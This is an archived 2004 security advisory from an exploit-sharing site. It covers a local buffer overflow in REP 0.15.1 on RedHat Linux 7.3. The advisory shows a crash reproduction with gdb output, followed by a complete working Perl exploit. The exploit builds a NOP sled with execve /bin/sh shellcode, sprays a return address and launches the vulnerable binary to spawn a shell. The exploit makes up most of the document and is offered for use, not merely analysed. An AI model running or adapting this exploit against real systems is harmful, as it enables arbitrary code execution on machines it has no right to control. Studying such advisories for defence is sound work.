evolve or die

repredhat.txt

repredhat.txt
Posted May 1, 2004
Authored by BlackAngels | Site blackangels.it

A local buffer overflow vulnerability exists in REP version 0.15.1 on RedHat Linux 7.3. Proof of concept exploitation included.

tags | advisory, overflow, local, proof of concept
systems | linux, redhat
MD5 | 39225a84cba3e870a2ffcdc5452210b4

repredhat.txt

Change Mirror Download
[ REDHAT LINUX 7.3 LOCAL BUFFER OVERFLOW IN REP 0.15.1 ]




{ Vulnerable system }

REP stands for "Read, Eval, Print", the three main components of any
Lisp system.
Librep is a dialect of Lisp, designed to be used both as an extension
language for applications, and for use as a general programming language.
A vulnerability in REP allows a local user to execute arbitrary code.


{ Description }

REP 0.15.1 for RedHat Linux 7.3 is vulnerable to a local buffer overflow;
the possible cause may be in an incorrect use of strcpy() / memcpy()
functions.
Unfortunately, we are unable to find package's sources, so we couldn't
describe this vulnerability.
To exploit the vulnerability, simply input as first ARG a buffer string
of 4081 bytes :

$ declare -x BADBUFFER=`perl -e '{print "A"x"4081"}'`
$ rep $BADBUFFER

Segmentation fault

$ gdb rep

(gdb) r $BADBUFFER

Program received signal SIGSEGV, Segmentation fault.
0x4003f3cd in Fexpand_file_name () from /usr/lib/librep.so.9

(gdb) info reg esp

esp 0xbf414139 0xbf414139



N.B. Versions before 2.4.20 could be affected from this vulnerability.


{ Exploit’s code }

#!/usr/bin/perl -w


##
# RedHat Linux 7.3 local Buffer Overflow in REP 0.15.1 exploit
#
# Legal notes :
# The BlackAngels staff refuse all responsabilities
# for an incorrect or illegal use of this software
# or for eventual damages to others systems.
#
# http://www.blackangels.it
##

$len = 4260;
$ret = 0xbf414139;
$nop = "\x90";

print "\nRedHat Linux 7.3 local Buffer Overflow in REP 0.15.1 exploit";
print "\nVulnerable versions: RedHat Linux 7.3 with 2.4.20";
print "\n============================================================\n";

if (!$ARGV[0]) {
print "You must specify an offset [ Default = -1000 ] ...\n\n";
exit(-1);
}

my $offset = "$ARGV[0]";

$shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
"\xff\xff/bin/sh";

print "Trying to execute /bin/sh ...\n";

for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}

$buffer .= $shellcode;

print("\nAddress: 0x", sprintf('%lx',($ret + $offset)), "\n");
print "\tRet: $ret + Offset: $offset\n\n";

$new_ret = pack('l', ($ret + $offset));
for ($i += length($shellcode); $i < $len; $i += 4) {
$buffer .= $new_ret;
}

exec("/usr/bin/rep $buffer");

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close